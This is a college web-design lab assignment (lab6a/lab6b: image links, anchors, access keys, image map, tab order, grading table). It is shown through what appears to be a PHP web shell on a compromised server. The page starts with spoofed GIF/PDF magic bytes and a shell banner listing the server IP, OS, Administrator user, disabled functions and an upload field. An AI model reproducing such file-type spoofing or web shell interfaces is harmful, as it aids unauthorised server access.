GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/_Archive/MMDT1021/AllenSite/ch6/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"> <!-- saved from url=(0058)http://mmdt1021.ridgewater.net/chapter6/labassignment6.htm --> <HTML xmlns="http://www.w3.org/1999/xhtml"><HEAD><TITLE>Lab Assignment 6</TITLE> <META http-equiv=Content-Type content="text/html; charset=iso-8859-1"><LINK href="Lab%20Assignment%206_files/style.css" type=text/css rel=stylesheet> <META content="MSHTML 6.00.6000.16481" name=GENERATOR></HEAD> <BODY> <DIV align=center><SPAN class=pagetitle>Lab Assignment 6</SPAN> </DIV><BR> <TABLE cellSpacing=0 cellPadding=4 width="100%" bgColor=#ffffff border=0> <TBODY> <TR> <TD width="100%">This lab will require you to create two html files, lab6a.htm and lab6b.htm. <P>Create a web page file named <B>lab6a.htm</B>. </P> <P>Title the page "Lab Assignment 6a - <I>Your Name</I>" </P> <P>Put your name in the title. </P> <P>On the page:</P> <P>1) Link1: Place this image <IMG height=55 alt=next src="Lab%20Assignment%206_files/handright.gif" width=115 align=absMiddle border=0>on the page that links to lab6b.htm. Set a shortcut of Alt-n. There should be no border around the image and there should be text after it that says "Next". </P> <P>2) Link2: Place a link on this page that links to the 'bottom' Anchor on page lab6b.htm. Set a shortcut of Alt-b</P> <P>3) Link3: Place a link on this page that opens lab6b.htm in a new window using the target="_blank" attribute. </P> <P>4) Set the tab order for the three (3) links on this page to go from bottom to top.</P> <P></P></TD></TR></TBODY></TABLE> <TABLE height=10 cellSpacing=0 cellPadding=4 width="100%" border=0> <TBODY> <TR> <TD width="100%"></TD></TR></TBODY></TABLE> <TABLE cellSpacing=0 cellPadding=4 width="100%" bgColor=#ffffff border=0> <TBODY> <TR> <TD width="100%">Create a web page file named <B>lab6b.htm</B>. <P>Title the page "Lab Assignment 6b - <I>Your Name</I>" </P> <P>Put your name in the title. </P> <P>On the page:</P> <P>1) Place an anchor called 'top' that is at the beginning of the page. </P> <P>2) Link1: Place this image <IMG height=55 alt=previous src="Lab%20Assignment%206_files/handleft.gif" width=115 align=absMiddle border=0>on the page that links to lab6a.htm. Set a shortcut of Alt-p. There should be no border around the image and there should be text after it that says "Previous". </P> <P>3) Link2: Place a link that links to the 'bottom' anchor on this page. </P> <P>4) Link3, Link4, Link5: Make an image map using the following image: </P> <P><IMG height=183 alt="search bar" src="Lab%20Assignment%206_files/search.gif" width=406></P> <P>The "Google" part of the image links to "<A href="http://www.google.com/">http://www.google.com/</A>",<BR>The "Windows Live Search " part of the image links to "<A href="http://www.live.com/">http://www.live.com/</A>",<BR>And the "Yahoo" part of the image links to "<A href="http://search.yahoo.com/">http://search.yahoo.com/</A>".</P> <P>Find the pixel coordinates manually by using coordinates obtained from Photoshop, Paint Shop Pro, Paint .NET, etc.</P> <P clear=all>5) Make the two Anchors far apart from each other on the page. Do this by placing the following "filler" text between the Anchors on this page:<BR><CODE>Start filler<p>filler<p>filler<p>filler<p>filler<p>filler<p>filler<p>filler<p>filler<p>filler<p>filler<p>filler<BR><p>filler<p>filler<p>filler<p>filler<p>filler<p>filler<p>filler<p>filler<p>filler<p>filler<p>filler<p>filler<BR><p>filler<p>filler<p>filler<p>filler<p>filler<p>filler<p>End filler<p></CODE> </P> <P clear=all>Note: You may use the filler text I gave you, are you may use your own filler text. However, I want you to use a <B>lot</B> of filler text. Enough so that you need to scroll up and down quite a ways. This is needed to demonstrate the 'top' and 'bottom' anchors effectively.</P> <P>6) Link 6: Place a link at the bottom of the page that links to the 'top' anchor on this page. </P> <P>7) Place an anchor called 'bottom' that is at the bottom of this page. </P> <P>You need to turn in all these files together in one folder for credit:</P> <UL> <LI>lab6a.htm <LI>lab6b.htm <LI>handright.gif <LI>handleft.gif <LI>search.gif </LI></UL> <P><B>Your instructor can see if your web pages (lab6a.htm & lab6b.htm) work correctly only if the images are turned in!</B></P> <P>Turn this assignment in. It will be graded and returned to you.</P> <P>Grading criteria:</P> <TABLE cellSpacing=0 cellPadding=5 width=500 border=1> <TBODY> <TR> <TD width="85%"><B>Criteria</B></TD> <TD align=right width="15%"><B>Points<BR>25</B></TD></TR> <TR> <TD width="85%">(lab6a.htm) Correct file name. Correct HEAD and TITLE structure with student name in the title. Correct BODY structure.</TD> <TD align=right width="15%">1</TD></TR> <TR> <TD width="85%">(lab6a.htm)Link1 with image, text and Alt-n </TD> <TD align=right width="15%">3</TD></TR> <TR> <TD width="85%">(lab6a.htm)Link2 with Alt-b </TD> <TD align=right width="15%">2</TD></TR> <TR> <TD width="85%">(lab6a.htm)Link3</TD> <TD align=right width="15%">1</TD></TR> <TR> <TD width="85%">(lab6a.htm)Tab order in reverse.</TD> <TD align=right width="15%">1</TD></TR> <TR> <TD width="85%">(lab6b.htm) Correct file name. Correct HEAD and TITLE structure with student name in the title. Correct BODY structure.</TD> <TD align=right width="15%">1</TD></TR> <TR> <TD width="85%">(lab6b.htm) 'top' anchor embedded at top of page. </TD> <TD align=right width="15%">1</TD></TR> <TR> <TD width="85%">(lab6b.htm) Link1 with image, text and Alt-p</TD> <TD align=right width="15%">3</TD></TR> <TR> <TD width="85%">(lab6b.htm) Link2.</TD> <TD align=right width="15%">2</TD></TR> <TR> <TD width="85%">(lab6b.htm) Link3. Link4. Link5. Image map.</TD> <TD align=right width="15%">5</TD></TR> <TR> <TD width="85%">(lab6b.htm) Filler text.</TD> <TD align=right width="15%">1</TD></TR> <TR> <TD width="85%">(lab6b.htm) Link6.</TD> <TD align=right width="15%">1</TD></TR> <TR> <TD width="85%">(lab6b.htm) 'bottom' anchor embedded at bottom of page. </TD> <TD align=right width="15%">1</TD></TR> <TR> <TD width="85%">(lab6b.htm) Assignment in on time.</TD> <TD align=right width="15%">2</TD></TR></TBODY></TABLE> <P>Screenshots of finished assignment shown below.</P> <P><IMG height=384 alt="screen shot" src="Lab%20Assignment%206_files/screenshot6a.gif" width=472 border=0></P> <P><IMG height=996 alt="screen shot" src="Lab%20Assignment%206_files/screenshot6b.gif" width=472 border=0></P> <P></P></TD></TR></TBODY></TABLE></BODY></HTML>